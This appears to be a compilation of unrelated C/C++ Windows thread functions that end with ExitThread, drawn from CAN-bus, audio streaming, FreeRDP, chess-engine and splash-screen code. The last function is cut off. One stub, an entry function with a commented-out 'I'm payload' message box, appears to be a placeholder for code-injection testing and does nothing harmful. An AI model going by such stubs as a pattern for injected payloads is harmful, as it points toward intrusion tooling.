static void timer_thread_end(void) { DIAGNOSTIC(2,"leaving timer thread",0,0); ExitThread(0); }
void *workThreadReceive( void *pObject ) #endif { #ifdef WIN32 DWORD errorCode = 0; #else int rv = 0; #endif CPeakObj * pobj = ( CPeakObj *)pObject; if ( NULL == pobj ) { #ifdef WIN32 ExitThread( errorCode ); // Fail #else pthread_exit( &rv ); #endif } PeakCanMsg peakMsg; while ( pobj->m_bRun ) { // Noting to do if we should end... if ( !pobj->m_bRun ) continue; LOCK_MUTEX( pobj->m_peakMutex ); while ( 0 == ( pobj->m_procRead( &peakMsg ) & PEAK_CAN_ERR_QRCVEMPTY ) ) { // Check if this is a status message if ( PCAN_MSGTYPE_STATUS & peakMsg.msgType ) { continue; // TODO } // Write to the receive buffer if ( pobj->m_receiveList.nCount < PEAKDRV_MAX_RCVMSG ) { PCANALMSG pMsg = new canalMsg; pMsg->flags = 0; if ( NULL != pMsg ) { dllnode *pNode = new dllnode; if ( NULL != pNode ) { pMsg->timestamp = GetTickCount() * 1000; pMsg->id = peakMsg.id; pMsg->sizeData = peakMsg.len; memcpy( pMsg->data, peakMsg.data, pMsg->sizeData ); // If extended set extended flag if ( PCAN_MSGTYPE_EXTENDED & peakMsg.msgType ) { pMsg->flags |= CANAL_IDFLAG_EXTENDED; } // Check for RTS package if ( PCAN_MSGTYPE_RTR & peakMsg.msgType ) { pMsg->flags |= CANAL_IDFLAG_RTR; } pNode->pObject = pMsg; LOCK_MUTEX( pobj->m_receiveMutex ); dll_addNode( &pobj->m_receiveList, pNode ); UNLOCK_MUTEX( pobj->m_receiveMutex ); // Update statistics pobj->m_stat.cntReceiveData += pMsg->sizeData; pobj->m_stat.cntReceiveFrames += 1; } else { delete pMsg; } } } else { // Full buffer pobj->m_stat.cntOverruns++; } } // while rcv msg UNLOCK_MUTEX( pobj->m_peakMutex ); SLEEP( 1 ); } // while #ifdef WIN32 ExitThread( errorCode ); #else pthread_exit( &rv ); #endif }
void CALLBACK onThreadExit(ULONG_PTR dwParam) { int err = onCleanSocket(threadStatus); ExitThread(err); }
void thread_error_exit(const char *errmsg) { MessageBox (hwndDlg, errmsg, NULL, MB_OK); update_interface_state (NULL); ExitThread(0); }
static DWORD WINAPI StreamLoop(LPVOID param) { DWORD size,pt; HRESULT hr; char *lpBlockAdd1,*lpBlockAdd2; DWORD blockSize1, blockSize2; ClSoundBuffer *lpSoundBuffer = (ClSoundBuffer *)param; CRITICAL_SECTION cr_section; InitializeCriticalSection(&cr_section); while(TRUE){ pt = WaitForMultipleObjects(3,lpSoundBuffer->hEvent,FALSE,INFINITE); EnterCriticalSection(&cr_section); switch(pt){ case (WAIT_OBJECT_0): case (WAIT_OBJECT_0+1): size = pt -WAIT_OBJECT_0 +1; if(size > 1)size = 0; hr = lpSoundBuffer->lpDSBuffer->Lock(lpSoundBuffer->streamBlockSize*size,lpSoundBuffer->streamBlockSize, (LPVOID*)&lpBlockAdd1, &blockSize1,(LPVOID*)&lpBlockAdd2, &blockSize2, 0); if(DS_OK==hr){ if(WAVE_FORMAT_OGG==lpSoundBuffer->wFormatTag){ char workBuf[4096],outBuf[0x20000]; int rsize,outsize,ret; int remainSize = blockSize1; int writeSize = 0; if(lpSoundBuffer->leakSize){ if(lpSoundBuffer->leakSize > blockSize1){ CopyMemory(lpBlockAdd1,lpSoundBuffer->leakBuff,blockSize1); lpSoundBuffer->leakSize -= blockSize1; MoveMemory(lpSoundBuffer->leakBuff,lpSoundBuffer->leakBuff+blockSize1,lpSoundBuffer->leakSize); remainSize = 0; lpSoundBuffer->lpDSBuffer->Unlock(lpBlockAdd1, blockSize1, lpBlockAdd2, blockSize2); break; }else{ CopyMemory(lpBlockAdd1,lpSoundBuffer->leakBuff,lpSoundBuffer->leakSize); writeSize += lpSoundBuffer->leakSize; remainSize -= lpSoundBuffer->leakSize; lpSoundBuffer->leakSize = 0; my_deletes(lpSoundBuffer->leakBuff); } } if(lpSoundBuffer->endPt>=0){ ZeroMemory(lpBlockAdd1+writeSize, remainSize); ZeroMemory(lpBlockAdd2, blockSize2); lpSoundBuffer->lpDSBuffer->Unlock(lpBlockAdd1, blockSize1, lpBlockAdd2, blockSize2); if(pt==lpSoundBuffer->endPt){ lpSoundBuffer->lpDSBuffer->Stop(); goto SoundStop; } break; } rsize = lpSoundBuffer->readFile->StreamReadFile(lpSoundBuffer->arcFileNum,lpSoundBuffer->streamNum,workBuf,4096); ret = lpSoundBuffer->o_dat->DecodeOGG(workBuf,rsize,outBuf,0x20000,&outsize); if(ret==OGG_DEC_END){ oggFilEnd: if(1==lpSoundBuffer->repeat){ if(remainSize >= outsize){ CopyMemory(lpBlockAdd1+writeSize, outBuf,outsize); writeSize += outsize; remainSize -= outsize; ZeroMemory(lpBlockAdd1+writeSize, remainSize); if(blockSize2)ZeroMemory(lpBlockAdd2,blockSize2); }else{ CopyMemory(lpBlockAdd1+writeSize, outBuf, remainSize); } lpSoundBuffer->lpDSBuffer->Unlock(lpBlockAdd1, blockSize1, lpBlockAdd2, blockSize2); if((-1)==lpSoundBuffer->endPt){ lpSoundBuffer->endPt = pt; } break; }else{ if(lpSoundBuffer->repeat) lpSoundBuffer->repeat --; if(lpSoundBuffer->nextStream>=0){ int size; lpSoundBuffer->readFile->StreamCloseFile(lpSoundBuffer->arcFileNum,lpSoundBuffer->streamNum); lpSoundBuffer->streamNum = lpSoundBuffer->readFile->StreamOpenFileNum(lpSoundBuffer->arcFileNum,lpSoundBuffer->nextStream,size); lpSoundBuffer->musicNum = lpSoundBuffer->nextStream; lpSoundBuffer->nextStream = -1; } lpSoundBuffer->readFile->StreamSeekFile(lpSoundBuffer->arcFileNum,lpSoundBuffer->streamNum,lpSoundBuffer->dataTopOffset,FILE_BEGIN); while(remainSize>=outsize && remainSize>0){ CopyMemory(lpBlockAdd1+writeSize,outBuf,outsize); remainSize -= outsize; writeSize += outsize; if(remainSize > 0){ rsize = lpSoundBuffer->readFile->StreamReadFile(lpSoundBuffer->arcFileNum,lpSoundBuffer->streamNum, workBuf,4096); ret = lpSoundBuffer->o_dat->DecodeOGG(workBuf,rsize,outBuf,0x20000,&outsize); if(OGG_DEC_END==ret){ goto oggFilEnd; } } } if(remainSize){ CopyMemory(lpBlockAdd1+writeSize,outBuf,remainSize); lpSoundBuffer->leakSize = outsize -remainSize; lpSoundBuffer->leakBuff = new BYTE[lpSoundBuffer->leakSize]; CopyMemory(lpSoundBuffer->leakBuff,outBuf +remainSize,lpSoundBuffer->leakSize); } } }else{ while(remainSize>=outsize && remainSize>0){ CopyMemory(lpBlockAdd1+writeSize,outBuf,outsize); remainSize -= outsize; writeSize += outsize; if(remainSize > 0){ rsize = lpSoundBuffer->readFile->StreamReadFile(lpSoundBuffer->arcFileNum,lpSoundBuffer->streamNum,workBuf,4096); ret = lpSoundBuffer->o_dat->DecodeOGG(workBuf,rsize,outBuf,0x20000,&outsize); if(OGG_DEC_END==ret){ goto oggFilEnd; } } } if(remainSize){ CopyMemory(lpBlockAdd1+writeSize,outBuf,remainSize); lpSoundBuffer->leakSize = outsize -remainSize; lpSoundBuffer->leakBuff = new BYTE[lpSoundBuffer->leakSize]; CopyMemory(lpSoundBuffer->leakBuff,outBuf +remainSize,lpSoundBuffer->leakSize); } } }else if(NULL==lpSoundBuffer->hAcm){ size = lpSoundBuffer->readFile->StreamReadFile(lpSoundBuffer->arcFileNum,lpSoundBuffer->streamNum,lpBlockAdd1,blockSize1); if(size < blockSize1){ if(1==lpSoundBuffer->repeat){ ZeroMemory(lpBlockAdd1+size,blockSize1-size); lpSoundBuffer->repeat = 0; lpSoundBuffer->lpDSBuffer->Play(0,0,0); }else{ if(lpSoundBuffer->repeat) lpSoundBuffer->repeat --; lpSoundBuffer->readFile->StreamSeekFile(lpSoundBuffer->arcFileNum,lpSoundBuffer->streamNum,lpSoundBuffer->dataTopOffset,FILE_BEGIN); lpSoundBuffer->readFile->StreamReadFile(lpSoundBuffer->arcFileNum,lpSoundBuffer->streamNum,lpBlockAdd1+size,blockSize1-size); } }else{ if(lpSoundBuffer->streamBlockSize>blockSize1){ size = lpSoundBuffer->readFile->StreamReadFile(lpSoundBuffer->arcFileNum,lpSoundBuffer->streamNum,lpBlockAdd2,blockSize2); if(size < blockSize2){ if(1==lpSoundBuffer->repeat){ ZeroMemory(lpBlockAdd2+size,blockSize2-size); lpSoundBuffer->repeat = 0; lpSoundBuffer->lpDSBuffer->Play(0,0,0); }else{ if(lpSoundBuffer->repeat) lpSoundBuffer->repeat --; lpSoundBuffer->readFile->StreamSeekFile(lpSoundBuffer->arcFileNum,lpSoundBuffer->streamNum,lpSoundBuffer->dataTopOffset,FILE_BEGIN); lpSoundBuffer->readFile->StreamReadFile(lpSoundBuffer->arcFileNum,lpSoundBuffer->streamNum,lpBlockAdd2+size,blockSize2-size); } } } } }else{ int remainSize = blockSize1; int writeSize = 0; if(lpSoundBuffer->leakSize){ CopyMemory(lpBlockAdd1,lpSoundBuffer->leakBuff,lpSoundBuffer->leakSize); writeSize += lpSoundBuffer->leakSize; remainSize -= lpSoundBuffer->leakSize; lpSoundBuffer->leakSize = 0; my_deletes(lpSoundBuffer->leakBuff); } size = lpSoundBuffer->readFile->StreamReadFile(lpSoundBuffer->arcFileNum,lpSoundBuffer->streamNum, (char *)lpSoundBuffer->acmSrc.lpStream,lpSoundBuffer->acmSrc.dwStreamSize); if(size < lpSoundBuffer->acmSrc.dwStreamSize){ lpSoundBuffer->ash.cbSrcLength = lpSoundBuffer->ash.dwSrcUser = size; MMRESULT nError = acmStreamConvert(lpSoundBuffer->hAcm,&lpSoundBuffer->ash,0); lpSoundBuffer->ash.cbSrcLength = lpSoundBuffer->ash.dwSrcUser = lpSoundBuffer->acmSrc.dwStreamSize; if(1==lpSoundBuffer->repeat){ if(0==nError){ if(remainSize >= lpSoundBuffer->ash.cbDstLengthUsed){ CopyMemory(lpBlockAdd1+writeSize, lpSoundBuffer->acmDst.lpStream, lpSoundBuffer->ash.cbDstLengthUsed); writeSize += lpSoundBuffer->ash.cbDstLengthUsed; remainSize -= lpSoundBuffer->ash.cbDstLengthUsed; ZeroMemory(lpBlockAdd1+writeSize, remainSize); if(blockSize2)ZeroMemory(lpBlockAdd2,blockSize2); }else{ CopyMemory(lpBlockAdd1+writeSize, lpSoundBuffer->acmDst.lpStream, remainSize); CopyMemory(lpBlockAdd2, lpSoundBuffer->acmDst.lpStream +remainSize,lpSoundBuffer->ash.cbDstLengthUsed -remainSize); if(blockSize2 > lpSoundBuffer->ash.cbDstLengthUsed -remainSize){ ZeroMemory(lpBlockAdd2 +(lpSoundBuffer->ash.cbDstLengthUsed -remainSize),blockSize2-(lpSoundBuffer->ash.cbDstLengthUsed -remainSize)); } } lpSoundBuffer->repeat = 0; lpSoundBuffer->lpDSBuffer->Play(0,0,0); } }else{ if(lpSoundBuffer->repeat) lpSoundBuffer->repeat --; lpSoundBuffer->readFile->StreamSeekFile(lpSoundBuffer->arcFileNum,lpSoundBuffer->streamNum,lpSoundBuffer->dataTopOffset,FILE_BEGIN); if(0==nError){ while(remainSize>=lpSoundBuffer->ash.cbDstLengthUsed && remainSize>0){ CopyMemory(lpBlockAdd1+writeSize,lpSoundBuffer->acmDst.lpStream,lpSoundBuffer->ash.cbDstLengthUsed); remainSize -= lpSoundBuffer->ash.cbDstLengthUsed; writeSize += lpSoundBuffer->ash.cbDstLengthUsed; if(remainSize > 0){ size = lpSoundBuffer->readFile->StreamReadFile(lpSoundBuffer->arcFileNum,lpSoundBuffer->streamNum, (char *)lpSoundBuffer->acmSrc.lpStream,lpSoundBuffer->acmSrc.dwStreamSize); nError = acmStreamConvert(lpSoundBuffer->hAcm,&lpSoundBuffer->ash,ACM_STREAMCONVERTF_BLOCKALIGN); } } if(remainSize){ CopyMemory(lpBlockAdd1+writeSize,lpSoundBuffer->acmDst.lpStream,remainSize); lpSoundBuffer->leakSize = lpSoundBuffer->ash.cbDstLengthUsed -remainSize; lpSoundBuffer->leakBuff = new BYTE[lpSoundBuffer->leakSize]; CopyMemory(lpSoundBuffer->leakBuff,lpSoundBuffer->acmDst.lpStream +remainSize,lpSoundBuffer->leakSize); } } } }else{ MMRESULT nError = acmStreamConvert(lpSoundBuffer->hAcm,&lpSoundBuffer->ash, ACM_STREAMCONVERTF_BLOCKALIGN); if(0==nError){ while(remainSize>=lpSoundBuffer->ash.cbDstLengthUsed && remainSize>0){ CopyMemory(lpBlockAdd1+writeSize,lpSoundBuffer->acmDst.lpStream,lpSoundBuffer->ash.cbDstLengthUsed); remainSize -= lpSoundBuffer->ash.cbDstLengthUsed; writeSize += lpSoundBuffer->ash.cbDstLengthUsed; if(remainSize > 0){ size = lpSoundBuffer->readFile->StreamReadFile(lpSoundBuffer->arcFileNum,lpSoundBuffer->streamNum, (char *)lpSoundBuffer->acmSrc.lpStream,lpSoundBuffer->acmSrc.dwStreamSize); nError = acmStreamConvert(lpSoundBuffer->hAcm,&lpSoundBuffer->ash, ACM_STREAMCONVERTF_BLOCKALIGN); } } if(remainSize){ CopyMemory(lpBlockAdd1+writeSize,lpSoundBuffer->acmDst.lpStream,remainSize); lpSoundBuffer->leakSize = lpSoundBuffer->ash.cbDstLengthUsed -remainSize; lpSoundBuffer->leakBuff = new BYTE[lpSoundBuffer->leakSize]; CopyMemory(lpSoundBuffer->leakBuff,lpSoundBuffer->acmDst.lpStream +remainSize,lpSoundBuffer->leakSize); } } } } lpSoundBuffer->lpDSBuffer->Unlock(lpBlockAdd1, blockSize1, lpBlockAdd2, blockSize2); } break; default: SoundStop: lpSoundBuffer->repeat = 0; lpSoundBuffer->lpDSNotify->Release(); lpSoundBuffer->lpDSNotify = NULL; CloseHandle(lpSoundBuffer->hEvent[0]); CloseHandle(lpSoundBuffer->hEvent[1]); CloseHandle(lpSoundBuffer->hEvent[2]); lpSoundBuffer->hEvent[0] = lpSoundBuffer->hEvent[1] = lpSoundBuffer->hEvent[2] = NULL; lpSoundBuffer->status = PCM_STOP; LeaveCriticalSection(&cr_section); DeleteCriticalSection(&cr_section); CloseHandle(lpSoundBuffer->hLoopThread); lpSoundBuffer->hLoopThread = NULL; ExitThread(TRUE); return 0L; } LeaveCriticalSection(&cr_section); } DeleteCriticalSection(&cr_section); ExitThread(TRUE); return 0L; } // StreamLoop
static void* smartcard_thread_func(void* arg) { IRP* irp; DWORD nCount; DWORD status; HANDLE hEvents[2]; wMessage message; SMARTCARD_DEVICE* smartcard = (SMARTCARD_DEVICE*) arg; UINT error = CHANNEL_RC_OK; nCount = 0; hEvents[nCount++] = MessageQueue_Event(smartcard->IrpQueue); hEvents[nCount++] = Queue_Event(smartcard->CompletedIrpQueue); while (1) { status = WaitForMultipleObjects(nCount, hEvents, FALSE, INFINITE); if (status == WAIT_FAILED) { error = GetLastError(); WLog_ERR(TAG, "WaitForMultipleObjects failed with error %lu!", error); break; } status = WaitForSingleObject(MessageQueue_Event(smartcard->IrpQueue), 0); if (status == WAIT_FAILED) { error = GetLastError(); WLog_ERR(TAG, "WaitForSingleObject failed with error %lu!", error); break; } if (status == WAIT_OBJECT_0) { if (!MessageQueue_Peek(smartcard->IrpQueue, &message, TRUE)) { WLog_ERR(TAG, "MessageQueue_Peek failed!"); error = ERROR_INTERNAL_ERROR; break; } if (message.id == WMQ_QUIT) { while (1) { status = WaitForSingleObject(Queue_Event(smartcard->CompletedIrpQueue), 0); if (status == WAIT_FAILED) { error = GetLastError(); WLog_ERR(TAG, "WaitForSingleObject failed with error %lu!", error); goto out; } if (status == WAIT_TIMEOUT) break; irp = (IRP*) Queue_Dequeue(smartcard->CompletedIrpQueue); if (irp) { if (irp->thread) { status = WaitForSingleObject(irp->thread, INFINITE); if (status == WAIT_FAILED) { error = GetLastError(); WLog_ERR(TAG, "WaitForSingleObject failed with error %lu!", error); goto out; } CloseHandle(irp->thread); irp->thread = NULL; } if ((error = smartcard_complete_irp(smartcard, irp))) { WLog_ERR(TAG, "smartcard_complete_irp failed with error %lu!", error); goto out; } } } break; } irp = (IRP*) message.wParam; if (irp) { if ((error = smartcard_process_irp(smartcard, irp))) { WLog_ERR(TAG, "smartcard_process_irp failed with error %lu!", error); goto out; } } } status = WaitForSingleObject(Queue_Event(smartcard->CompletedIrpQueue), 0); if (status == WAIT_FAILED) { error = GetLastError(); WLog_ERR(TAG, "WaitForSingleObject failed with error %lu!", error); break; } if (status == WAIT_OBJECT_0) { irp = (IRP*) Queue_Dequeue(smartcard->CompletedIrpQueue); if (irp) { if (irp->thread) { status = WaitForSingleObject(irp->thread, INFINITE); if (status == WAIT_FAILED) { error = GetLastError(); WLog_ERR(TAG, "WaitForSingleObject failed with error %lu!", error); break; } CloseHandle(irp->thread); irp->thread = NULL; } if ((error = smartcard_complete_irp(smartcard, irp))) { if (error == CHANNEL_RC_NOT_CONNECTED) { error = CHANNEL_RC_OK; goto out; } WLog_ERR(TAG, "smartcard_complete_irp failed with error %lu!", error); goto out; } } } } out: if (error && smartcard->rdpcontext) setChannelError(smartcard->rdpcontext, error, "smartcard_thread_func reported an error"); ExitThread((DWORD)error); return NULL; }
void Thread::quit() { mImpl->state = ThreadImpl::Stopped; ExitThread(0); }
static void* cliprdr_server_thread(void* arg) { DWORD status; DWORD nCount; HANDLE events[8]; HANDLE ChannelEvent; CliprdrServerContext* context = (CliprdrServerContext*) arg; CliprdrServerPrivate* cliprdr = (CliprdrServerPrivate*) context->handle; UINT error; ChannelEvent = context->GetEventHandle(context); nCount = 0; events[nCount++] = cliprdr->StopEvent; events[nCount++] = ChannelEvent; if ((error = cliprdr_server_init(context))) { WLog_ERR(TAG, "cliprdr_server_init failed with error %lu!", error); goto out; } while (1) { status = WaitForMultipleObjects(nCount, events, FALSE, INFINITE); if (status == WAIT_FAILED) { error = GetLastError(); WLog_ERR(TAG, "WaitForMultipleObjects failed with error %lu", error); goto out; } status = WaitForSingleObject(cliprdr->StopEvent, 0); if (status == WAIT_FAILED) { error = GetLastError(); WLog_ERR(TAG, "WaitForSingleObject failed with error %lu", error); goto out; } if (status == WAIT_OBJECT_0) break; status = WaitForSingleObject(ChannelEvent, 0); if (status == WAIT_FAILED) { error = GetLastError(); WLog_ERR(TAG, "WaitForSingleObject failed with error %lu", error); goto out; } if (status == WAIT_OBJECT_0) { if ((error = context->CheckEventHandle(context))) { WLog_ERR(TAG, "CheckEventHandle failed with error %lu!", error); break; } } } out: if (error && context->rdpcontext) setChannelError(context->rdpcontext, error, "cliprdr_server_thread reported an error"); ExitThread((DWORD)error); return NULL; }
void entry(){ //MessageBoxA(0, "I'm payload", "test", 0); ExitThread(0); }
// thread for state machine DWORD WINAPI AI::_AI(LPVOID lpBuffer) { Game& game = Game::inst(); char buf[BUFSIZE] = {0}; memset(buf, 0, sizeof(buf)); int depth = 1; static unsigned int aiLevel = 99; Sleep(500); for(int i=0;m_active;++i){ GetExitCodeProcess(m_pi.hProcess, &m_exit); if(m_exit != STILL_ACTIVE){ m_active = false; printf("NOT ACTIVE...quitting\n"); //break; } // check for output, and obtain the bread PeekNamedPipe(m_hRead, buf, BUFSIZE, &m_bread, &m_avail, NULL); if(m_bread > 0){ for(;;){ memset(buf, 0, sizeof(buf)); ReadFile(m_hRead, buf, BUFSIZE, &m_bread, NULL); printf("%s", buf); if(!game.getTurn()) parseAIMove(buf); Sleep(100); PeekNamedPipe(m_hRead, buf, BUFSIZE, &m_bread, &m_avail, NULL); if(m_bread > 0) continue; else break; } } if(m_engine == ENGINE_STOCKFISH){ //sprintf(buf, (i == 0) ? "uci " : (i == 1) ? "isready " : (i == 2) ? "" : (i == 3) ? "" : ""); sprintf(buf, (i == 0) ? "uci " : ""); } else{ sprintf(buf, (i == 0) ? "uci " : (i == 1) ? "isready " : (i == 2) ? "setoption name Hash value 512 " : (i == 3) ? "setoption name UCI_LimitStrength value true " : ""); } if(m_sendMove == true){ strcat(m_pos, m_lastUserMove); strcat(m_pos, " "); WriteFile(m_hWrite, m_pos, sizeof(m_pos), &m_bread, NULL); WriteFile(m_hWrite, "\n", 1, &m_bread, NULL); //sprintf(buf, "go wtime %ld btime %ld depth %d ", g_whiteTime, g_blackTime, m_searchDepth); while(game.isAnimating()) Sleep(50); // calculate depth to search if(m_engine != ENGINE_STOCKFISH){ if(aiLevel != game.getAILevel()){ aiLevel = game.getAILevel(); switch(aiLevel){ case Game::CHILD: depth = 1; sprintf(buf, "setoption name UCI_Elo value 1000 "); // it's questionable whether or not this works break; case Game::WALRUS: depth = 3; sprintf(buf, "setoption name UCI_Elo value 1200 "); break; case Game::LION: default: depth = 5; sprintf(buf, "setoption name UCI_Elo value 1500 "); break; case Game::RAPTOR: depth = 10; sprintf(buf, "setoption name UCI_Elo value 1800 "); break; case Game::GRANDMASTER: depth = 15; sprintf(buf, "setoption name UCI_Elo value 2900 "); break; } WriteFile(m_hWrite, buf, sizeof(buf), &m_bread, NULL); WriteFile(m_hWrite, "\n", 1, &m_bread, NULL); } } //sprintf(buf, "go wtime %ld btime %ld ", game.getTime(WHITE), game.getTime(BLACK)); sprintf(buf, "go wtime %ld btime %ld depth %d ", game.getTime(WHITE), game.getTime(BLACK), depth); WriteFile(m_hWrite, buf, sizeof(buf), &m_bread, NULL); WriteFile(m_hWrite, "\n", 1, &m_bread, NULL); //printf("NEW POS: [%s]\n", m_pos); m_sendMove = false; game.setTurn(BLACK); } else{ WriteFile(m_hWrite, buf, sizeof(buf), &m_bread, NULL); WriteFile(m_hWrite, "\n", 1, &m_bread, NULL); if(i > 100000) i = 6; } Sleep(500); //if(game.getTurn() == WHITE) //;///printf("Waiting for user to move...\n"); } cleanup(); ExitThread(0); }
int SplashThread(void *arg) { IGraphBuilder *pGraph = NULL; IMediaControl *pControl = NULL; if (options.playsnd) { // Initialize the COM library. CoInitialize(NULL); // Create the filter graph manager and query for interfaces. CoCreateInstance(CLSID_FilterGraph, NULL, CLSCTX_INPROC_SERVER, IID_IGraphBuilder, (void **)&pGraph); // Get MediaControl Interface pGraph->QueryInterface(IID_IMediaControl, (void **)&pControl); // Build the graph. IMPORTANT: Change this string to a file on your system. pGraph->RenderFile(szSoundFile, NULL); // Run the graph. pControl->Run(); } WNDCLASSEX wcl; wcl.cbSize = sizeof(wcl); wcl.lpfnWndProc = SplashWindowProc; wcl.style = 0; wcl.cbClsExtra = 0; wcl.cbWndExtra = 0; wcl.hInstance = hInst; wcl.hIcon = NULL; wcl.hCursor = LoadCursor(NULL, IDC_ARROW); wcl.hbrBackground = (HBRUSH)GetStockObject(LTGRAY_BRUSH); wcl.lpszMenuName = NULL; wcl.lpszClassName = _T(SPLASH_CLASS); wcl.hIconSm = NULL; RegisterClassEx(&wcl); RECT DesktopRect; int w = GetSystemMetrics(SM_CXSCREEN); int h = GetSystemMetrics(SM_CYSCREEN); DesktopRect.left = 0; DesktopRect.top = 0; DesktopRect.right = w; DesktopRect.bottom = h; RECT WindowRect; WindowRect.left = (DesktopRect.left + DesktopRect.right - SplashBmp->getWidth()) / 2; WindowRect.top = (DesktopRect.top + DesktopRect.bottom - SplashBmp->getHeight()) / 2; WindowRect.right = WindowRect.left + SplashBmp->getWidth(); WindowRect.bottom = WindowRect.top + SplashBmp->getHeight(); hwndSplash = CreateWindowEx( WS_EX_TOOLWINDOW | WS_EX_TOPMOST,//dwStyleEx _T(SPLASH_CLASS), //Class name NULL, //Title DS_SETFONT | DS_FIXEDSYS | WS_POPUP, //dwStyle WindowRect.left, // x WindowRect.top, // y SplashBmp->getWidth(), // Width SplashBmp->getHeight(), // Height HWND_DESKTOP, //Parent NULL, //menu handle hInst, //Instance NULL); RECT rc; GetWindowRect(hwndSplash, &rc); POINT ptDst = {rc.left, rc.top}; POINT ptSrc = {0, 0}; SIZE sz = {rc.right - rc.left, rc.bottom - rc.top}; bool splashWithMarkers = false; BLENDFUNCTION blend; blend.BlendOp = AC_SRC_OVER; blend.BlendFlags = 0; blend.SourceConstantAlpha = 0; blend.AlphaFormat = AC_SRC_ALPHA; if (options.showversion) { // locate text markers: int i, x = -1, y = -1; int splashWidth = SplashBmp->getWidth(); for (i = 0; i < splashWidth; ++i) if (SplashBmp->getRow(0)[i] & 0xFF000000) { if (x < 0) { x = i-1; // 1 pixel for marker line splashWithMarkers = true; } else { x = -1; splashWithMarkers = false; break; } } int splashHeight = SplashBmp->getHeight(); for (i = 0; splashWithMarkers && (i < splashHeight); ++i) if(SplashBmp->getRow(i)[0] & 0xFF000000) { if (y < 0) { y = i-1; // 1 pixel for marker line splashWithMarkers = true; } else { y = -1; splashWithMarkers = false; break; } } TCHAR verString[256] = {0}; TCHAR* mirandaVerString = mir_a2t(szVersion); mir_sntprintf(verString, SIZEOF(verString), _T("%s%s"), szPrefix, mirandaVerString); mir_free(mirandaVerString); LOGFONT lf = {0}; lf.lfHeight = 14; _tcscpy_s(lf.lfFaceName, _T("Verdana")); SelectObject(SplashBmp->getDC(), CreateFontIndirect(&lf)); if (!splashWithMarkers) { SIZE v_sz = {0,0}; GetTextExtentPoint32(SplashBmp->getDC(), verString, (int)_tcslen(verString), &v_sz); x = SplashBmp->getWidth()/2-(v_sz.cx/2); y = SplashBmp->getHeight()-(SplashBmp->getHeight()*(100-90)/100); } SetTextColor(SplashBmp->getDC(), (0xFFFFFFFFUL-SplashBmp->getRow(y)[x])&0x00FFFFFFUL); //SplashBmp->DrawText(verString,SplashBmp->getWidth()/2-(v_sz.cx/2),SplashBmp->getHeight()-30); SetBkMode(SplashBmp->getDC(), TRANSPARENT); SplashBmp->DrawText(verString, x, y); //free (ptr_verString); } SetWindowLongPtr(hwndSplash, GWL_EXSTYLE, GetWindowLongPtr(hwndSplash, GWL_EXSTYLE) | WS_EX_LAYERED); UpdateLayeredWindow(hwndSplash, NULL, &ptDst, &sz, SplashBmp->getDC(), &ptSrc, 0xffffffff, &blend, LWA_ALPHA); ShowWindow(hwndSplash, SW_SHOWNORMAL); if (options.fadein) { // Fade in int i; for (i = 0; i < 255; i += options.fisteps) { blend.SourceConstantAlpha = i; UpdateLayeredWindow(hwndSplash, NULL, &ptDst, &sz, SplashBmp->getDC(), &ptSrc, 0xffffffff, &blend, LWA_ALPHA); Sleep(1); } } blend.SourceConstantAlpha = 255; UpdateLayeredWindow(hwndSplash, NULL, &ptDst, &sz, SplashBmp->getDC(), &ptSrc, 0xffffffff, &blend, LWA_ALPHA); if (DWORD(arg) > 0) { if (SetTimer(hwndSplash, 6, DWORD(arg), 0)) { #ifdef _DEBUG logMessage(_T("Timer TimeToShow"), _T("set")); #endif } } else if (bmodulesloaded) { if (SetTimer(hwndSplash, 8, 2000, 0)) { #ifdef _DEBUG logMessage(_T("Timer Modules loaded"), _T("set")); #endif } } // The Message Pump MSG msg; while (GetMessage(&msg, NULL, 0, 0) == TRUE) //NULL means every window in the thread; == TRUE means a safe pump. { TranslateMessage(&msg); DispatchMessage(&msg); } if (options.playsnd) { pControl->Release(); pGraph->Release(); CoUninitialize(); } ExitThread(0); return 1; }
DWORD WINAPI MyWndThread2(LPVOID lpParameter) { MSG msg; HANDLE hMemory; PWNDCLASS pWndClass; BOOL bSuccess; CHAR lpBuffer[128]; HANDLE myEvent = *((HANDLE *)lpParameter); RECT windowRect; hMemory = LocalAlloc(LPTR, sizeof(WNDCLASS)); if(!hMemory){ return(FALSE); } pWndClass = (PWNDCLASS) LocalLock(hMemory); pWndClass->hCursor = LoadCursor(NULL, IDC_ARROW); pWndClass->hIcon = LoadIcon(NULL, IDI_APPLICATION); pWndClass->lpszMenuName = NULL; pWndClass->lpszClassName = (LPSTR) "ECE291Socket"; pWndClass->hbrBackground = NULL;//GetStockObject(WHITE_BRUSH); pWndClass->hInstance = GetInstance(); pWndClass->style = 0; pWndClass->lpfnWndProc = (WNDPROC)MyWndProc2; bSuccess = RegisterClass(pWndClass); LocalUnlock(hMemory); LocalFree(hMemory); hWnd = CreateWindowEx(0, "ECE291Socket", "ECE 291 Sockets Handler", WS_ICONIC, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, GetInstance(), NULL); if (!hWnd) return FALSE; SetEvent(myEvent); for(;;) { if (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) { TranslateMessage(&msg); DispatchMessage(&msg); if (msg.message == WM_CLOSE) break; } } DestroyWindow(hWnd); UnregisterClass("ECE291Socket", GetInstance()); SetEvent(myEvent); ExitThread(0); }
static DWORD WINAPI drdynvc_virtual_channel_client_thread(LPVOID arg) { wStream* data; wMessage message; UINT error = CHANNEL_RC_OK; drdynvcPlugin* drdynvc = (drdynvcPlugin*) arg; if (!drdynvc) { ExitThread((DWORD) CHANNEL_RC_BAD_CHANNEL_HANDLE); return CHANNEL_RC_BAD_CHANNEL_HANDLE; } while (1) { if (!MessageQueue_Wait(drdynvc->queue)) { WLog_Print(drdynvc->log, WLOG_ERROR, "MessageQueue_Wait failed!"); error = ERROR_INTERNAL_ERROR; break; } if (!MessageQueue_Peek(drdynvc->queue, &message, TRUE)) { WLog_Print(drdynvc->log, WLOG_ERROR, "MessageQueue_Peek failed!"); error = ERROR_INTERNAL_ERROR; break; } if (message.id == WMQ_QUIT) break; if (message.id == 0) { data = (wStream*) message.wParam; if ((error = drdynvc_order_recv(drdynvc, data))) { Stream_Free(data, TRUE); WLog_Print(drdynvc->log, WLOG_ERROR, "drdynvc_order_recv failed with error %"PRIu32"!", error); break; } Stream_Free(data, TRUE); } } { /* Disconnect remaining dynamic channels that the server did not. * This is required to properly shut down channels by calling the appropriate * event handlers. */ DVCMAN* drdynvcMgr = (DVCMAN*)drdynvc->channel_mgr; while (ArrayList_Count(drdynvcMgr->channels) > 0) { IWTSVirtualChannel* channel = (IWTSVirtualChannel*) 